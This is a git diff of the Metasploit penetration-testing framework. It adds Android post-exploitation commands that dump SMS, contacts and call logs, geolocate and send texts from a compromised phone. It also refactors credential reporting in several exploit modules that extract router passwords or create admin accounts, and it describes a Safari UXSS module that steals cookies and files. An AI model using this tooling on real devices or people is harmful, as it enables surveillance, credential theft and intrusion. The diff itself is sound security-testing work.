'device_shutdown' => [ 'device_shutdown'] + 'dump_sms' => ['dump_sms'], + 'dump_contacts' => ['dump_contacts'], + 'geolocate' => ['geolocate'], + 'dump_calllog' => ['dump_calllog'], + 'check_root' => ['check_root'], + 'device_shutdown' => ['device_shutdown'], + 'send_sms' => ['send_sms'], + 'wlan_geolocate' => ['wlan_geolocate'], + 'interval_collect' => ['interval_collect'] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end - def cmd_device_shutdown(*args) + def interval_collect_usage + print_line('Usage: interval_collect ') + print_line + print_line('Specifies an action to perform on a collector type.') + print_line + print_line(@@interval_collect_opts.usage) + end + def cmd_interval_collect(*args) + @@interval_collect_opts ||= Rex::Parser::Arguments.new( + '-h' => [false, 'Help Banner'], + '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"], + '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"], + '-t' => [true, 'Collect poll timeout period in seconds (default: 30)'] + ) + + opts = { + action: nil, + type: nil, + timeout: 30 + } + + @@interval_collect_opts.parse(args) do |opt, idx, val| + case opt + when '-a' + opts[:action] = val.downcase + when '-c' + opts[:type] = val.downcase + when '-t' + opts[:timeout] = val.to_i + opts[:timeout] = 30 if opts[:timeout] <= 0 + end + end + + unless client.android.collect_actions.include?(opts[:action]) + interval_collect_usage + return + end + + type = args.shift.downcase + + unless client.android.collect_types.include?(opts[:type]) + interval_collect_usage + return + end + + result = client.android.interval_collect(opts) + if result[:headers].length > 0 && result[:entries].length > 0 + header = "Captured #{opts[:type]} data" + + if result[:timestamp] + time = Time.at(result[:timestamp]).to_datetime + header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}" + end + + table = Rex::Ui::Text::Table.new( + 'Header' => header, + 'SortIndex' => 0, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + result[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) + else + print_good('Interval action completed successfully') + end + end + + def cmd_device_shutdown(*args) seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android end end - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end + def cmd_send_sms(*args) + send_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Destination number' ], + '-t' => [ true, 'SMS body text' ], + '-dr' => [ false, 'Wait for delivery report' ] + ) + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line('Usage: send_sms -d -t ') + print_line('Sends SMS messages to specified number.') + print_line(send_sms_opts.usage) + return + when '-d' + dest = val + when '-t' + body = val + when '-dr' + dr = true + end + end + + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") + else + print_error("SMS send failed - #{sent[0]}") + end + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") + else + print_error("SMS delivery failed - #{sent[1]}") + end + else + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") + else + print_error("SMS send failed - #{sent}") + end + end + end + + def cmd_wlan_geolocate(*args) + wlan_geolocate_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + print_line('Usage: wlan_geolocate') + print_line('Tries to get device geolocation from WLAN information and Google\'s API') + print_line(wlan_geolocate_opts.usage) + return + end + end + + log = client.android.wlan_geolocate + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + g = Rex::Google::Geolocation.new + + wlan_list.each do |wlan| + g.add_wlan(*wlan) + end + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") + else + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") + end + end + # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb index 17be4acffb..0ef94b598d 100644 --- a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +++ b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb @@ -81,6 +81,7 @@ module Console::InteractiveChannel data = self.lsock.sysread(16384) self.on_print_proc.call(data.strip) if self.on_print_proc + self.on_log_proc.call(data.strip) if self.on_log_proc user_output.print(data) end @@ -91,6 +92,8 @@ module Console::InteractiveChannel self.lsock end + attr_accessor :on_log_proc + end end diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d15a999777..3af1e4080d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -58,7 +58,6 @@ class Client 'method_random_case' => 'bool', 'version_random_valid' => 'bool', 'version_random_invalid' => 'bool', - 'version_random_case' => 'bool', 'uri_dir_self_reference' => 'bool', 'uri_dir_fake_relative' => 'bool', 'uri_use_backslashes' => 'bool', @@ -586,8 +585,8 @@ class Client begin - buff = conn.get_once(-1, 1) - rv = resp.parse( buff || '' ) + buff = conn.get_once(resp.max_data, 1) + rv = resp.parse(buff || '') # Handle unexpected disconnects rescue ::Errno::EPIPE, ::EOFError, ::IOError diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e2d425c6c9..a048138269 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -52,7 +52,6 @@ class ClientRequest 'method_random_case' => false, # bool 'version_random_valid' => false, # bool 'version_random_invalid' => false, # bool - 'version_random_case' => false, # bool 'uri_dir_self_reference' => false, # bool 'uri_dir_fake_relative' => false, # bool 'uri_use_backslashes' => false, # bool @@ -344,10 +343,6 @@ class ClientRequest ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (opts['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - ret << "\r\n" end diff --git a/lib/rex/ui/text/color.rb b/lib/rex/ui/text/color.rb index e5265f53c2..1a412d53ed 100644 --- a/lib/rex/ui/text/color.rb +++ b/lib/rex/ui/text/color.rb @@ -75,6 +75,15 @@ module Color str.gsub!(/%und/, pre_color+colorize('underline')+post_color) str.gsub!(/%bld/, pre_color+colorize('bold')+post_color) str.gsub!(/%clr/, pre_color+colorize('clear')+post_color) + # Background Color + str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color) + str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color) + str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color) + str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color) + str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color) + str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color) + str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color) + str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color) str end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index faa889eecb..c925e843a4 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -426,6 +426,7 @@ module DispatcherShell else dispatcher.send('cmd_' + method, *arguments) end + ensure self.busy = false end diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 87b660d6c6..52da87c5f4 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -203,6 +203,10 @@ class Table cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/ cmp = a[index].to_i <=> b[index].to_i + elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4? + cmp = 1 + elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6? + cmp = -1 else cmp = a[index] <=> b[index] # assumes otherwise comparable. end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4a4436e160..9d25c58418 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.7' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.9' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 4f5d3de838..1941291594 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary return nil end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run print_status("#{peer} - Trying to find the service desk service strong name...") @@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary login_url = ssl ? "https://" : "http://" login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp" - report_auth_info({ - :host => rhost, - :port => rport, - :user => datastore["USERNAME"], - :pass => datastore["PASSWORD"], - :type => "password", - :sname => (ssl ? "https" : "http"), - :proof => "#{login_url}\n#{res.body}" - }) + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? "https" : "http"), + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: "#{login_url}\n#{res.body}" + ) + print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") print_status("#{peer} - Use it to log into #{login_url}") end diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index cb95df48c3..533a7d5074 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary ) end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary vprint_good("user: #{@user}") vprint_good("pass: #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => @user, - :pass => pass, - :active => true - ) + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: @user, + password: pass, + proof: line + ) end end end diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index dad5e64ed6..9ab873d031 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary pass = $1 pass = Rex::Text.decode_base64(pass) print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true + report_cred( + ip: rhost, + port: rport, + sname: 'http', + user: user, + password: pass, + proof: line ) end end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c55a974bc0..5087e8bcb4 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary print_status("Authenticating as: " << user) begin nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: prot, + user: user, + password: pass ) rescue diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 638d429021..b9efc4ae7f 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary datastore["PASSWORD"] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run if user == pass @@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 and res.body =~ /Administrator account created/ print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true, - :proof => res.body + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: user, + password: pass, + proof: res.body ) else print_error("#{peer} - Admin account creation failed") diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 75bf278687..774e6f0f3e 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary table_prefix end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run username = Rex::Text.rand_text_alpha(10) password = Rex::Text.rand_text_alpha(20) @@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary # login successfull if cookie print_status("#{peer} - User #{username} with password #{password} successfully created") - report_auth_info( - sname: 'WordPress', - host: rhost, + report_cred( + ip: rhost, port: rport, user: username, - pass: password, - active: true - ) + password: password, + service_name: 'WordPress', + proof: cookie + ) else print_error("#{peer} - User creation failed") return diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index 44f67456a9..ec3ce10323 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -7,8 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize super( @@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin print_status("Trying to get 'admin' user password ...") @@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary else admin_password = admin_password_matches[1]; print_good("Password for user 'admin' is: #{admin_password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "ZyXEL GS1510-16", - :user => 'admin', - :pass => admin_password, - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: 'ZyXEL GS1510-16', + user: 'admin', + password: admin_password, + proof: res.body ) end rescue ::Rex::ConnectionError diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 50c7d6d536..84979820e9 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary parse_configuration(config[:data]) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + private def little_endian? @@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary @credentials.each do |k,v| next unless v[:user] and v[:password] print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") - auth = { - :host => rhost, - :port => rport, - :user => v[:user], - :pass => v[:password], - :type => 'password', - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + report_cred( + ip: rhost, + port: rport, + user: v[:user], + password: v[:password], + service_name: 'sercomm', + proof: v.inspect + ) end end diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index f4a0fbdf1f..e33a0db012 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + def run return if not check_dependencies @@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary break end else - report_auth_info( - :host => "#{datastore['RHOST']}", - :port => "#{datastore['RPORT']}", - :sname => 'oracle', - :user => "#{datastore['SID']}/#{datastore['DBUSER']}", - :pass => "#{datastore['DBPASS']}", - :active => true + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'oracle', + user: "#{datastore['SID']}/#{datastore['DBUSER']}", + password: datastore['DBPASS'] ) print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index fa826e67d2..98d347f89d 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -4,28 +4,28 @@ ## require 'msf/core' +require 'msf/core/exploit/format/webarchive' require 'uri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Format::Webarchive include Msf::Auxiliary::Report - # [Array>] list of poisonable scripts per user-specified URLS - attr_accessor :scripts_to_poison - def initialize(info = {}) super(update_info(info, - 'Name' => 'Apple Safari .webarchive File Format UXSS', + 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', 'Description' => %q{ - This module exploits a security context vulnerability that is inherent - in Safari's .webarchive file format. The format allows you to - specify both domain and content, so we can run arbitrary script in the - context of any domain. This allows us to steal cookies, file URLs, and saved - passwords from any website we want -- in other words, it is a universal - cross-site scripting vector (UXSS). On sites that link to cached javascripts, - we can additionally poison user's browser cache and install keyloggers. + Generates a .webarchive file for Mac OS X Safari that will attempt to + inject cross-domain Javascript (UXSS), silently install a browser + extension, collect user information, steal the cookie database, + and steal arbitrary local files. + + When opened on the target machine the webarchive file must not have the + quarantine attribute set, as this forces the webarchive to execute in a + sandbox. }, 'License' => MSF_LICENSE, 'Author' => 'joev', @@ -34,785 +34,51 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format'] ], 'DisclosureDate' => 'Feb 22 2013', - 'Actions' => - [ - [ 'WebServer' ] - ], - 'PassiveActions' => - [ - 'WebServer' - ], + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), - OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', 